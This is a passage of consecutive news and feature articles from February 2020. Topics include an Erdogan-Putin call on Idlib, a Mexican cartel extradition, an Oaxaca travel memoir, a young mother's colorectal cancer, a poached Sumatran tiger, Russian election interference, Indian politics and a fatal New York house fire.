followers wrote, "So pretty." According to Fox News, the post came two days after a fan commented on one of Hayek's Instagram photos, accusing her of receiving botox. The picture was a selfie which gave her followers a glimpse of the actor while she relaxed on the beach in a magenta swimsuit. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BAKU, Azerbaijan, Feb.21 Trend: Turkish President Recep Tayyip Erdogan and his Russian counterpart Vladimir Putin discussed late Friday the developments in war-ravaged Idlib town in northwestern Syria, Trend reports Daily Sabah. In the phone call, the leaders reiterated their willingness to fully implement all agreements regarding measures to defuse tensions in the city. According to a statement by the Presidency, Erdogan told Putin it is imperative that Assad's government actions and the consequent humanitarian crisis must be stopped in Idlib, and that the Sochi deal must be implemented in full. According to the statement, developments in Libya were also discussed. Bengaluru: Police rescue six women from prostitution racket India oi-Madhuri Adnal Bengaluru, Feb 21: The Bengaluru City Police on Thursday raided a spa on suspicion of its involvement in the prostitution racket at Hoodi village in Mahadevapura area of Bengaluru and rescued six women. Central Crime Branch sleuths conducted a raid and arrested three people while another is absconding. A case has been registered. However, this is not the first time an illegal spa and massage centre has been busted in the city of Bengaluru. CCB police had earlier raided a few places in Koramangala, where prostitution was being run. Cops bust prostitution racket; foreign national among 2 rescued On Feb 19, officers attached to the CCB had raided a spa centre in Koramangala area and rescued six women. The owner of the Jack Salon And Wellness Spa in Koramangala has been absconding while the Manager was arrested. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 11:20 [IST] MEXICO CITY, Feb 20 (Reuters) - Mexico extradited the son of one of its most wanted drug lords to the United States on Thursday, a source in the attorney general's office said. It is the latest sign of Mexico's commitment to step up extraditions after U.S. President Donald Trump backed off from his threat to designate Mexican cartels as terrorist groups. Ruben Oseguera, who was captured in 2015, was believed to be an important figure in his fathers gang, the Jalisco New Generation Cartel. His father, Nemesio "El Mencho" Oseguera, remains at large. "He was extradited today in the afternoon from the state of Sonora on a direct flight to Washington," the source, who spoke on condition of anonymity, told Reuters, referring to the son. Mexican President Andres Manuel Lopez Obrador has come under criticism for his security strategy and, in particular, the bungled arrest of the son of another powerful kingpin. In October, Mexican officials let go Ovidio Guzman, the son of Joaquin "El Chapo" Guzman, after shootouts with drug gangs broke out in the streets of Culiacan, a major city. (Reporting by Lizbeth Diaz; Writing by Julia Love; Editing by Clarence Fernandez) Sometimes we travel with a sense of urgency because over time something inside us has gone dim. Years ago, thats what drew me to Oaxaca. I lived alone in Oregon, a misty place where it was so rare to find anyone who looked like me I once chased down a stranger in the grocery store produce section and asked him to lunch because I heard him pronounce mango with a Spanish accent. Starved for color, I booked a flight to this city in southwestern Mexico that Id heard so much about. I had no way of knowing then just how much Oaxaca would wrap itself around my life for years to come, starting with the first phone call. Advertisement A balloon vendor in Oaxaca is silhouetted against the Catedral de Nuestra Senora de La Asuncion. (Gary Coronado / Los Angeles Times) A friend suggested Las Bugambilias (lasbugambilias.com), a quaint bed-and-breakfast near the center of town, so I called to make a reservation. The woman on the phone said she was booked solid. This time of year, she told me, you wont find a place anywhere else. It was July, after all, a week before La Guelaguetza, Oaxacas biggest fiesta. Stumped, I was about to hang up, but then the woman on the other end of the line made me an offer unheard of in those pre-Airbnb days: If you want, you can stay at my house, she said. My family will be in Texas. Youll have the place to yourself. Weeks later, I met Aurora. She was gracious and easygoing. She handed me the keys to her two-story house tucked behind a courtyard. For $20 a night, I spent the week sleeping on her sons twin bed chaperoned by his small army of stuffed animals. The first full day I awoke without plans no map of the city, no travel guide, no list of top restaurants. I wanted to get to know Oaxaca bit by bit, to let Oaxacans show me their city. When I found my way to Calle Macedonio Alcala, the main strip, I was mesmerized by the scene: Dozens of Oaxacans in their Sunday best filled the plaza outside Santo Domingo Church. Fathers held hands with their daughters. Boys gathered on the pavement for an intense game of marbles. Women dressed in traditional indigenous huipiles and colorful wraparound skirts sat in the shade selling rebozos (shawls) and sombreros. Suddenly, there was a blast of fireworks. Then, booming live music. Trumpets, trombones, saxophones. Everyone looked up as a 12-piece brass band marched down the cobblestone street. Behind the musicians came two dozen dancers in jewel-tone gowns, each balancing a basket of roses on their head. Behind them, two 10-foot-tall papier-mache puppets carefully maneuvered far above the heads of two ruddy-faced boys. This must be a major holiday, I thought. Maybe a tribute to Oaxacas most revered saint. I ran up to a trombone player and asked what they were celebrating. A little boys birthday, he said. His name was Carlitos, and he had just turned 3. A calenda celebration parades through the historic center of Oaxaca. (Gary Coronado / Los Angeles Times) I soon learned these elaborate parades, known as calendas, date back centuries. They happen almost daily in Oaxaca. Its how locals celebrate just about every milestone: baptisms, weddings, funerals, divorces, pregnancies, home purchases, store openings. In Mexico, the state of Oaxaca is the king of fiestas. Year-round, its nearly 600 towns elect mayordomos (fiesta mayors) to host local parties for their patron saint. Many towns also compete annually in the states most exclusive event: La Guelaguetza. Thousands of people flood the capital those two weeks to see the regions finest musicians and dancers. I missed the big show by a couple of days, but there was so much to see that week that I stuck close to the city center. I floated from old churches to shops, museums, cafes and bookstores. I drank lots of fresh-squeezed jugo verde and got by on street food: $3 enfrijoladas, tortillas drenched in a creamy bean puree, and $4 tlayudas, pizza-sized tortillas topped with beans, quesillo, avocado and salsa. Every day, I walked to Nieves Oaxaquenas Chaguita, an ice cream stall inside Mercado Benito Juarez, where I diligently tried to tackle the menu of nearly 40 homemade flavors: tequila, cajeta, arroz con leche, passion fruit, leche quemada (burnt milk) and mamey (a sweet, creamy tropical fruit). Sundowns I spent in the zocalo, the bustling heart of the city, where every night magicians put on shows, comedians told jokes and kids ran around tossing giant balloons toward the sky. There were live orchestras, cumbia concerts and marimba shows. Some nights couples dressed in heels and suits to dance, cheek to cheek, in danzones. That week more than a decade ago, dozens of protesters occupied the zocalo with tents and signs. Locals werent fazed. Many are used to teachers mounting demonstrations that last months. Most of the protests are peaceful, but some have wreaked havoc on Oaxaca. In 2006, one labor dispute resulted in at least 17 deaths, including one American journalist. By the time I reached the city, Oaxacans were just beginning to recover. My trip ended so soon that the next year I returned to celebrate my 30th birthday. My boyfriend, David, and I stayed at a charming bed-and-breakfast called Estancia de Valencia (oaxacabedandbreakfast.com.mx), where owner Lorena Santos became a fast friend. We focused on exploring Oaxacas renowned food and ventured to nearby towns: Teotitlan del Valle, where weavers make masterful rugs, and San Bartolo Coyotepec, known for black pottery. We also went to Tlacolula, home to one of the oldest indigenous outdoor markets. An indigenous woman passes by traditional clothing sold at Artesanias Juana Cata. (Gary Coronado / Los Angeles Times) David fell in love with the city. As an artist, he was overwhelmed by the colors. He would sneak out before sunrise to photograph locals and chase calendas up the cobblestone paths. One night, we laughed so much after I lost him in the zocalo and he reappeared, moments later, his face painted like a clown. To us, this trip was much more than a vacation. Oaxaca was warm and inspiring. It embraced us, let us in on precious traditions Oaxacans have nurtured for generations. Colorful reminders For my first few years at the Los Angeles Times, I kept the walls of my gray cubicle plastered with photos from Oaxaca: the brass bands, dancers, textiles and flowers from the market. Whenever I met Oaxacans, Id tell them how lucky they were to call such a special place home. In the summer of 2011 a funny thing happened. David and I got engaged, and we began planning a big farm-style wedding. We had a venue, a priest, a caterer and a guest list that grew longer each day. My Salvadoran family was huge, and Davids Armenian family was tight-knit and included lots of friends. The more we thought of the day, the more we realized this celebration didnt feel at all like us. One rainy afternoon, as we sat in our tiny apartment swamped by to-do lists, David said: Lets go to Oaxaca. Lets forget all of this, and just get married in Oaxaca. The moment he said it, it made absolute sense. We canceled everything and called Lorena Santos, who had hosted us on our last trip. Lorenas family was among the first to start a bed-and-breakfast in Oaxaca. In the 1980s, her mother-in-law, Conchita, turned the beautiful home where shed raised her children into La Casa de Mis Recuerdos (lacasademisrecuerdos.com), a bed-and-breakfast built around a lush courtyard covered with bougainvillea. I knew that courtyard was where I wanted to get married. A few minutes into the call, Lorena, a firecracker of a woman who had never planned a wedding, cheerfully volunteered to handle everything. Telling the family Were going to Oaxaca! I told our families. Wa-WHO-kuh? my soon-to-be mother-in-law asked. It took many of our invitees days just to learn how to say the name. Much of our family had not traveled in decades. Some had never left the U.S., never boarded a plane or didnt speak Spanish. They were nervous about parachuting into a place theyd never been to. In March 2012, our wedding party a motley crew of nearly 50 Salvadorans and Armenians descended on Oaxaca. We purposely didnt give our guests a map of the city, travel guide or list of top restaurants. We wanted them to explore the city, bit by bit, on their own. A folklore group performs traditional dances from the eight regions of Oaxaca at the Quinta Real Oaxaca. (Gary Coronado / Los Angeles Times) Within a day, we were amazed to see my aunts happily wandering the Juarez market and my soon-to-be father-in-law comfortably strolling down Alcala with a sombrero on his head and a bottle of mezcal in one hand. Oh, Esme, he kept telling me, smiling ear to ear. I love this place very much. When the time came to celebrate our wedding calenda, we paraded down the cobblestone path, dancing with the booming brass band and two 10-foot-tall bride and groom puppets. That evening, our family and friends partied so hard in Conchitas courtyard that two of our dancers collapsed on top of a potted plant, shattering it. A waiter came up to me at the end of the fiesta. He carried a pair of red stilettos in one hand and a silk necktie in the other. We found these in the bushes, senora, he said, smiling. The tie belonged my husband. The stilettos to one of my many aunts, who, like everyone else, had made the most of the tequila. A new chapter Years later, David and I returned to that same courtyard, this time with our first child. It was Christmas and our daughter was 2 years old. She wandered into the shade of the bougainvillea and was immediately mesmerized by the scene. Conchita was hosting a small gathering. On the ground, she had lovingly created something she does every year in painstaking detail: It was a Nativity scene. Much like an ancient city, it had tiny trees and rolling hills, a running stream, miniature houses, shepherds and sheep. When another visitor grabbed his guitar and broke into song, our daughter smiled. She wiggled her feet and danced her first dance in Oaxaca. Charlotte Ngarukiye, a mom of three, is spending the last period of her life doing all she can to make sure no other woman has to go through her same experience. Ngarukiye, 34, was diagnosed with stage 4 metastatic colorectal cancer in December 2018, just 17 days after she gave birth to her third child, a son named Maxwell. "I knew right away in my third pregnancy that something was really off," Ngarukiye, also the mom of two daughters, ages 4 and 5, told "Good Morning America." "I kept feeling more and more pain, a pain I had never experienced with my other pregnancies." MORE: She gave him an 'out' after her cancer diagnosis. 2 years later, they exchanged vows Ngarukiye said she spoke to her OBGYN about her pain and even went to other specialists, all of whom she said told her to "wait until after the baby was born." "I think they didn't think I was serious about the pain that I was in and I think everything was just masked by the pregnancy," she said. "They'd just attribute [symptoms] like bleeding to my pregnancy." PHOTO: Charlotte Ngarukiye, of New Hampshire, poses with her son. (Courtesy Charlotte Ngarukiye) When the symptoms did not stop once she gave birth, Ngarukiye saw a gastroenterologist who diagnosed her with colorectal cancer. Additional testing found that the cancer had spread to Ngarukiye's liver and lungs. "I remember feeling some sort of relief that I knew what was wrong, even though that sounds crazy," she said. "I was in so much pain at that point that all I could hope was there would be a solution now for the pain." Though Ngarukiye had an instinct that something was wrong, she said she never expected to be diagnosed with colorectal cancer, a disease she thought of as one that people get when they're in their 50s or older. She has since learned that colorectal cancer, which starts in the colon or rectum, is on the rise among young people. PHOTO: Charlotte Ngarukiye poses for a photo with her husband and their three children in October 2019. (Courtesy Charlotte Ngarukiye) In the U.S., the proportion of patients diagnosed with colorectal cancer under the age of 50 rose from 10% in 2004 to 12.2% in 2015, according to the National Cancer Data Base. Story continues And even more critically, 71% of young people (those under age 50) with colorectal cancer are diagnosed at advanced stages of the disease, stages three or four, according data shared by the Colorectal Cancer Alliance, a Washington, D.C.-based non-profit organization. MORE: Woman's foster dog has a part-time job learning to sniff out cancer In 2018, the American Cancer Society lowered its recommended age to 45 for colorectal cancer screenings for average-risk adults. "Now if you're born in 1990 you're twice as likely to be diagnosed with this disease as if you were born in 1950, yet you're more likely to be diagnosed with advanced disease compared to an older adult who is diagnosed," said Dr. Nadine Jackson McCleary, Ngarukiye's oncologist at the Dana Farber Cancer Institute in Boston. "There's something about this cancer that is driving that surge and also driving the aggression that we're seeing at presentation." In Ngarukiye's case, her stage 4 diagnosis meant the progression of the disease was too far along for doctors to operate. Over the past two years, she has endured nearly 30 rounds of chemotherapy, taken part in two clinical trials and undergone radiation in hopes of shrinking her tumors. She made a decision earlier this year to stop treatment as her tumors have continued to grow. PHOTO: Charlotte Ngarukiye, of New Hampshire, is comforted by her two daughters while undergoing treatment for colorectal cancer. (Courtesy Charlotte Ngarukiye) Ngarukiye said she has chosen to spend time with her family at home rather than in a hospital, saying, "I try to cherish my moments with my kids and my husband." "I had no clue that someone in their 30s could get this disease," she said, noting that she had no family history of colorectal cancer and was otherwise healthy before her diagnosis. "Now I know there is a whole community of people like me and that it's not uncommon but a rising trend." In addition to spreading awareness about colorectal cancer, which can be treated if diagnosed early, Ngarukiye said she hopes her story encourages other women to speak up and seek help if they feel something is not right with their body. PHOTO: Charlotte Ngarukiye, of New Hampshire, poses with her daughter while undergoing treatment for colorectal cancer. (Courtesy Charlotte Ngarukiye) "I want women to know, especially pregnant women, that if something doesn't feel right, it probably isn't. You know your body best," she said. "I was shy to ask for certain things and I didn't know there were certain things to ask for so be educated about what you can do and what's available to you." "I wish I had pushed more," she said. "The doctor I saw at the end [at diagnosis], who really listened to me, within two minutes he was telling me I needed an exam." McCleary said she keeps a photograph of Ngarukiye and her young family on a wall in her office as a constant reminder of the need to raise awareness that young people, especially pregnant women, can get a disease like colorectal cancer. "She was told it was unlikely there was something serious because she was young and pregnant, as if the body can't have two processes happening at the same time," McCleary said of Ngarukiye. "I see her family every day when I sit down to do my work because it just drives the point home that this is not some hypothetical situation. This is very, very real." Mom diagnosed with stage 4 cancer after pregnancy shares message for women: 'You know your body best' originally appeared on goodmorningamerica.com Share this article Whatsapp Facebook Twitter Linkedin Dedek Hendry (The Jakarta Post) Bengkulu Fri, February 21, 2020 17:58 690 7f440ff09e92db75a02bbad2065df574 1 National tiger,Indonesia,animal-conservation,huntrap Free A female Sumatran tiger has been found dead in a wire trap in a forest within Seluma regency, Bengkulu, in yet another incident that has drawn attention to the already critically endangered species. Ridwan, a villager from nearby Selingsingan village, found the tigers carcass when he was looking for rattan sprouts in Bukit Badas forest on Wednesday morning. He stopped his activities after seeing the carcass located roughly 6 kilometers from the village and immediately returned home to report his finding to the village chief. We already checked the location and found a dead female tiger with a piece of wire wrapped around her neck, Seluma Police special crimes unit head Second Insp. Catur Teguh Susanto said on Thursday. Based on the polices examination, none of the tigers body parts were missing. The carcass head, however, was rotting away by the time the police arrived. It was full of maggots. We assume [the tiger] had been dead for over six days, Catur said, adding that a team from the Bengkulu Natural Resources Conservation Agency (BKSDA Bengkulu) had taken the carcass for further investigation. Authorities also found a wire trap located approximately 10 meters from the location of the dead tiger and a rotten pig carcass near the trap, which was presumably used as bait. Seluma Police chief Sr. Comr. I Nyoman Mertha Danta said they had launched an investigation into the incident, which he said was not the first of its kind in the area. Its possible that the perpetrator is not a local resident of Seluma regency, he said, Last year, we also caught a hunter [in the area] but they were not from Seluma. BKSDA Bengkulu acting manager Mariska Tarantona said the dead tiger was 2 years old and had yet to give birth. We already brought her body to the office. We plan to bury her after extracting a DNA sample and documenting her stripes, since her body is rotting, Mariska said. The agency analyzed the tigers stripes to see if the tiger was the same as a Sumatran tiger that the BKSDA had previously monitored through a camera trap, she said. BKSDA Bengkulu also planned to launch a sweeping operation in Bukit Badas to check whether other traps had been installed by hunters in the area. The Sumatran tiger, the only surviving species of the Sunda Islands tigers that once included the now-extinct Bali tiger and Javan tiger, has been listed as critically endangered on the International Union for Conservation of Nature (IUCN) Red List since 2008. An official estimate from the Environment and Forestry Ministry stated that, as of December 2018, the Sumatran tiger population stood at no more than 600 because of a loss of habitat and poaching. (dpk) WASHINGTON - Intelligence officials have warned lawmakers that Russia is interfering in the 2020 election campaign to help President Donald Trump get reelected, according to three officials familiar with the closed-door briefing. Trump pushed back Friday accusing Democrats of launching a disinformation campaign. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7! Trump tweeted. The officials, who asked for anonymity to discuss sensitive intelligence, said Thursday that the briefing last week focused on Russias efforts to influence the 2020 election and sow discord in the American electorate. The intelligence warning was first reported by The New York Times and The Washington Post. A senior administration official told The Associated Press that the news infuriated Trump, who complained that Democrats would use the information against him. Over the course of his presidency, Trump has dismissed the intelligence communitys assessment of Russias 2016 election interference as a conspiracy to undermine his victory. The official spoke on the condition of anonymity to describe the private meeting. A day after the Feb. 13 briefing to the House committee, Trump berated the then-director of national intelligence, Joseph Maguire, and he announced this week that Maguire would be replaced by Richard Grenell, a Trump loyalist. Moscow denied any meddling. Kremlin spokesman Dmitry Peskov said Friday that the allegations are paranoid reports that, unfortunately, there will be more and more of as we get closer to the elections (in the U.S.). Of course, they have nothing to do with the truth. House Speaker Nancy Pelosi tweeted that, American voters should decide American elections not Vladimir Putin. She added that all members of Congress should condemn the Presidents reported efforts to dismiss threats to the integrity of our democracy & to politicize our intel community. Rep. Adam Schiff, D-Calif., the chairman of the House intelligence committee, tweeted: We count on the intelligence community to inform Congress of any threat of foreign interference in our elections. If reports are true and the President is interfering with that, he is again jeopardizing our efforts to stop foreign meddling. Exactly as we warned he would do. U.S. intelligence agencies say Russia interfered in the 2016 election through social media campaigns and stealing and distributing emails from Democratic accounts. They say Russia was trying to boost Trumps campaign and add chaos to the American political process. Special counsel Robert Mueller concluded that Russian interference was sweeping and systematic, but he did not find a criminal conspiracy between Russia and the Trump campaign. Republican lawmakers who were in last weeks briefing by the DNIs chief election official, Shelby Pierson, pushed back by noting that Trump has been tough on Russia, one of the officials said. While Trump has imposed severe economic sanctions on Russia, he also has spoken warmly of Russian leader Vladimir Putin and withdrawn troops from areas, like Syria, where Moscow could fill the vacuum. He delayed military aid last year to Ukraine, a Russian adversary a decision that was at the core of his impeachment proceedings. The Times said Trump was angry that the House briefing was made before Schiff, the panels chairman, who led the impeachment proceedings. Trump on Thursday formally appointed Grenell, the U.S. ambassador to Germany, to replace Maguire as the new acting director of national intelligence. Maguire was required to step down soon under federal law governing acting appointments. The Times cited two administration officials as saying the timing, after the intelligence briefing, was coincidental. Grenells background is primarily in politics and media affairs. He lacks the extensive national security and military experience of Maguire, as well as previous holders of the position overseeing the nations 17 intelligence agencies. His appointment does little to heal the presidents fraught relations with the intelligence community, which Trump has derided as part of a deep state of entrenched bureaucrats that seek to undermine his agenda. The administration has most notably feuded with the intelligence community over the Russian interference and the events surrounding Trumps impeachment. Pierson told NPR in an interview that aired last month that the Russians are already engaging in influence operations relative to candidates going into 2020. But we do not have evidence at this time that our adversaries are directly looking at interfering with vote counts or the vote tallies. Pierson, appointed in July 2019 by then-Director of National Intelligence Dan Coats, works with intelligence agencies like the CIA, the FBI, the National Security Agency and the Department of Homeland Security to identify anyone seeking to interfere with U.S. elections. Pierson told NPR that the U.S. doesnt know exactly what the Russians are planning, but she said its not just a Russia problem. Were still also concerned about China, Iran, non-state actors, hacktivists and frankly certainly for DHS and FBI - even Americans that might be looking to undermine confidence in the elections. At an open hearing this month, FBI Director Christopher Wray told the House Judiciary Committee that Russia was engaged in information warfare heading into the November election, but that law enforcement had not seen efforts to target Americas infrastructure. He said Russia is relying on a covert social media campaign to divide the American public. ___ Associated Press writers Aamer Madhani, Deb Riechmann and Eric Tucker in Washington, Zeke Miller in Las Vegas and Daria Litvinova contributed from Moscow contributed to this report. Now Mr. Bloomberg (a lifelong Democrat who became a Republican to run for mayor of New York, then became an independent and who has recently switched back to the Democratic Party) is putting himself forward to the American public as the best possible vehicle for releasing the country from the chaos of the Trump era. To convince them, you would have to believe that he is readying himself for the second debate by way of rehearsals that require sleepless nights and 32-ounce guzzlers of Pepsi to stay awake. Predictions about Mr. Bloomberg are in fact hard to make. Several hours before Wednesday nights spectacle, I found myself on a street corner with a friend who said he would secretly be thrilled for a Bloomberg presidency. He was speaking in the spirit of confession because this is not the sort of thing liberals say in Brooklyn. In truth, among New Yorkers of a certain kind left leaning, materially comfortable in progressive enclaves, near or at middle-age there has been an uneasy nostalgia for Mr. Bloomberg long before he entered the presidential contest. His fraught mayoral tenure is now regarded (notably by those who couldnt abide it in the moment) with a wistfulness for its efficiency and surface shine. Even his insistence on a third and final act what seemed like such an egregious gesture of entitlement at the time has come to look like a noble brand of civic fealty when held up against his successors halfhearted, absentee approach to the day-to-day operation of the city. The former mayor has become, in a sense, the boyfriend you failed to appreciate when he was around the guy who could be gruff, insensitive, colossally self-regarding but who also tidied up and kept house rather nicely. In his own way, he took care of you for all those years, 12 of them. You could not accuse him of having a problem with commitment. And he bought you things didnt he? at least when you werent needy or begging. Maharashtra chief minister and Shiv Sena chief Uddhav Thackeray on Friday accused some political leaders of instigating protestors against the Citizenship (Amendment) Act, or CAA, in Delhi and other parts of the country. At a news conference on his first visit to the national capital after becoming the chief minister in November, Thackeray stressed that there was no reason for people to be worried about the citizenship law, which seeks to fast-track grant of Indian citizenship to non-Muslim minorities form Afghanistan, Bangladesh and Pakistan, or the National Population Register (NPR), a biometric record of people ordinarily resident in India. Those people who have instigated it, they need to understand CAA Why are we opposing it, why are we supporting itFirst, we need to understand it, Thackeray said when asked if he would make efforts to convince the people about the CAA. The Shiv Sena chiefs remarks came soon after his nearly hour-long meeting with Prime Minister Narendra Modi. He also met Congress president Sonia Gandhi, whose party is a constituent of the Shiv Sena-led Maharashtra Vikas Afghadi government that also includes the Nationalist Congress Party (NCP) . His son and state minister Aaditya accompanied him. We discussed CAA, NPR (National Population Register) and NRC (National Register of Citizens). As you know, I have already cleared my stand on CAA, NPR and NRC in an interview with Saamana {Shiv Sena mouthpiece}. I have understood these issues, he said about his meeting with the Prime Minister. In the interview earlier this month, Thackeray supported the CAA, insisting that it was not a law to remove someone from the country. He also quoted home minister Amit Shah as having said that the law was meant to give citizenship to people. And I agree with him, he told Saamana. Thackerays stand had brought to the fore the differences within the ruling Maharashtra Vikas Aghadi over the contentious issues with both the Congress and the NCP opposing the CAA and NRC, and also the NPR in its present form. No one needs to fear about the CAA and it is not going to throw anyone out of the country. On NRC, the central government has already made it clear in Parliament that it will not be implemented across the country. It is restricted to Assam only. About NPR, it is like census that is done after every 10 years. I have assured the citizens of Maharashtra that I will not allow anyone to take away their rights, Thackeray told reporters on Friday. Asked if he approved of the NPR questionnaire, the chief minister said his stand on the issue was based on the information available to him. NPR is also not going to throw anyone out of the country. But if it starts and we think that there is something dangerous about it, then there can be a dispute at that point, he said. The Shiv Senas communication cell posted a series of Tweets about Thackerays remarks on the NPR and NRC. The NPR is proposed along with the census. It happened in 2010 too. Census happens every 10 years in our country. If there are new columns proposed in the NPR, they will be scrutinised by our government & if it seems problematic we wont take it ahead, one tweet said. NRC is problematic to every citizen, irrespective of caste, creed, religion any which way, and wont let it come to Maharashtra, said the Shiv Sena in another Tweet. Thackeray denied there was any friction among the allies and asserted that the coalition government will complete its five-year term on the basis of the Common Minimum Programme (CMP) it has adopted. The Shiv Sena had exited the National Democratic Alliance last year when it broke up with the Bharatiya Janata Party (BJP) over its refusal to let Thackeray be the CM. Asked if he would try to convince the Congress on these issues, the Shiv Sena chief said, We are already talking to them and that is why there is peace in Maharashtra. The chief minister said he had fruitful discussions with the Prime Minister and spoke about issues concerning Maharashtra. This was his second meeting with the PM after assuming the charge although the first in a formal setting. Issues related to the Pradhan Mantri Fasal Bima Yojana, Central Road Fund, the Baliraja Sanjivani Yojana and the Punjab and Maharashtra Co-operative Bank Limited, (PMC) scam were discussed in the meeting. In his first meeting with Congress chief Sonia Gandhi, after he assumed charge as Maharashtra chief minister, Thackeray discussed the functioning of the coalition government and issues confronting the alliance. Congress general secretary in-charge of Maharashtra Mallikarjun Kharge and Shiv Sena leader Sanjay Raut were present at the venue. The Congress chief, the Maharashtra CM and his son later held talks separately. We are a national party and whatever is the Congress Working Committee resolution on the issues of CAA, NRC and NPR, we will abide by it. As far as Maharashtra is concerned, Shiv Sena cant decide alone. It has to consult other allies before taking any decision, a Congress functionary said, indicating that this was the broad message given to the Shiv Sena leaders. The functionary requested anonymity. Thackeray also called on BJP patriarch LK Advani at his residence and Union home minister Amit Shah. By Brian N and Brian Nguyen President Donald Trump, who corruptly attempted to swing the next election in his favor by forcing Ukraine to open investigations into Joe Biden's son, commuted the sentence of former Illinois Governor Rod Blagojevich. Blagojevich is a man who extorted a children's hospital for campaign donations, attempted to sell former President Barack Obama's vacant senate seat, and attempted to get members of the Chicago Tribune's editorial board fired. Blagojevich is the face of political corruption for many on both sides of the aisle. However, President Trump believes Blagojevich was wrongfully persecuted, like Trump was, by an FBI led by a rogue James Comey. There is no evidence to suggest this is true. Comey was not involved with the case and was not in a position in the government to interfere or influence the case at the time. Blagojevichs commutation is the latest in a series of questionable pardons. Earlier in his term, Trump pardoned Navy Seal Eddie Gallagher, who was accused of war crimes by his fellow soldiers. Trump believes Blagojevich was treated unfairly by the FBI and the judicial system. Rod Blagojevich did not sell the Senate seat. He served 8 years in prison, with many remaining. He paid a big price. Another Comey and gang deal! Thank you to @LisaMarieBoothe who really gets whats going on! @FoxNews Donald J. Trump (@realDonaldTrump) February 19, 2020 Some observers of the case believe Blagojevichs sentence was extreme for what he actually did. From @politico 'I Covered Blagos Trial From Start To Finish. Trumps Commutation Isnt Crazy; There was one sentiment I heard over and over again, which went something like, 'I know Blagojevich was guilty as hell but 14 years is insane.' https://t.co/DF6XKeuvwZ Byron York (@ByronYork) February 19, 2020 Rod Blagojevich: "It is a broken criminal justice system...and it's a racist criminal justice system." "No one has done more, or is currently working to do more to fix this broken and racist criminal justice system than President Trump and Jared Kushner" https://t.co/5A67rgodHv pic.twitter.com/u1fzBK2HFR ABC News (@ABC) February 19, 2020 Blagojevich was accused and convicted of conspiring to sell Obamas senate seat take a look at this article which sums up the evidence against him. Here's the part of the Blagovjevich indictment where they allege, and a jury found him guilty of, trying to extort the CEO of Children's Memorial Hospital for a donation in exchange for increasing the payments to doctors who took care of specialty-care kids: pic.twitter.com/yyN6NSaW4W Tom Winter (@Tom_Winter) February 18, 2020 However, as usual, Trump is using false conspiracy theories to justify his actions. Comey left DOJ before Blagojevich committed his crimes and returned after he began serving his prison sentence. He wasn't involved in the case. https://t.co/qCxWvvaVn7 Brad Heath (@bradheath) February 19, 2020 Some see a certain level of self-interest in Trumps pardon. Blagojevich was arrested before he could make the appointment. It's kind of like if you were doing something questionable to apply leverage on someone and then it leaked out that you were doing it and you had to thrown in the towel on the whole thing. https://t.co/wUYz4VfexZ Aaron Blake (@AaronBlake) February 19, 2020 The Tylt is focused on debates and conversations around news, current events and pop culture. We provide our community with the opportunity to share their opinions and vote on topics that matter most to them. We actively engage the community and present meaningful data on the debates and conversations as they progress. The Tylt is a place where your opinion counts, literally. The Tylt is an Advance Local Media, LLC property. Join us on Twitter @TheTylt, on Instagram @TheTylt or on Facebook, wed love to hear what you have to say. The Koregaon-Bhima judicial inquiry commission has received an application seeking summoning of NCP president Sharad Pawar in view of certain statements made by him in the media about the 2018 caste violence near here. Sagar Shinde, a member of the Vivek Vichar Manch, a social group, on Thursday filed the application before the panel through his advocate Pradip Gawade, seeking that Pawar be asked to depose before the two-member commission. In his plea, Shinde cited a press conference of Pawar held on February 18. As per the application, at the press meet Pawar alleged that right-wing activists Milind Ekbote and Sambhaji Bhide had created a "different" atmosphere in Koregaon-Bhima, located on outskirts of Pune city, and its vicinity. "In the same press conference, Mr Pawar also alleges that the role of Pune city police commissioner is doubtful and must be investigated. These statements are within the purview of the terms of reference of this commission and therefore they are relevant," Shinde said the plea. The applicant said he has reasons to believe Pawar has relevant and additional information, apart from what he has already shared in his earlier affidavit filed before the panel regarding the violence and other related matters. "Therefore, in the interest of justice, this applicant makes a prayer to the commission to issue a summon to Mr Pawar and require him to depose in person and furnish additional information he has so that the commission can arrive at its findings in a just and fair manner," he said. Pawar had, on October 8, 2018, filed an affidavit before the commission, headed by former Bombay High Court Chief Justice J N Patel. Former Maharashtra chief secretary Sumit Mullick is the other member of the judicial panel. The former Union minister, in his affidavit, had stated, "I would not be in a position to factually point out the chronology of the said events as that would be the domain of the existing Law andOrder machinery." He had also stated, "I would not be in a position to specifically make allegations against any particular organisation. "However, it is unfortunate that the state government and law and enforcement authorities failed to protect the interest of the common man residing at Koregaon Bhima and its vicinity." Pawar's party is now a key constituent in the Shiv Sena-led government in the state. The commission was set up when the BJP was in power in Maharashtra. The former chief minister had further stated the active role of "right-wing" forces behind the violence at Koregaon Bhima can not be ruled out. However, concrete evidence in this regard can be gathered only by law enforcement agencies of the state, he had said in the affidavit. Gathering of anti-social elements in large numbers at Koregaon Bhima indicated the failure of law enforcement agencies, the NCP leader had told the panel. "Hence, thestate of Maharashtra has to own the responsibility of a failed law and order situation on January 1, 2018," he had stated. On January 1, 2018, violence had erupted in Koregaon Bhima and nearby areas during the 200th anniversary celebrations of the Koregaon-Bhima battle. The commission was constituted by the then BJP government to find out what led to the violence. The Pune police have alleged "provocative" speeches given at the 'Elgar Parishad conclave', held on December 31, 2017, triggered the violence. According to the police, Elgar Parishad conclave organsiers had links with Maoists. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WESTMORELAND, N.Y. -- A Central New York man died Friday morning in a fire that trapped him inside his burning home, deputies said. Ralph Elliot died in the fire in his home in Westmoreland, the Oneida County Sheriffs Office said. He was 61 years old. Three other residents escaped the blaze after they were awakened by Elliots yells, deputies said. After they escaped, the residents tried to get back into the burning home to save him, deputies said. The fire at 6924 Dix Road was reported around 3 a.m. Deputies said four people called the Dix Road residence home: Ralph Elliot, David Elliot, Sue Martin and Phillip Becktoft. Martin, Becktoft and David Elliot were asleep in their bedrooms when they were jarred awake by the sound of Ralph Elliot yelling in the living room, deputies said. They got out of their bedrooms, deputies said, and met a heavy wall of smoke. The three tried to get to Ralph Elliot, deputies said, but could not. After escaping through a window, Martin, Becktoft and David Elliot ran to the front of the burning home, deputies said. They broke a window to try to get back into the home and save Ralph Elliot, deputies said, but were driven back by flames and smoke. Deputies and firefighters rushed to the scene. When deputies arrived, firefighters were trying to get into the Dix Road home -- which was engulfed in flames -- to rescue Ralph Elliot. Firefighters found Ralph Elliot 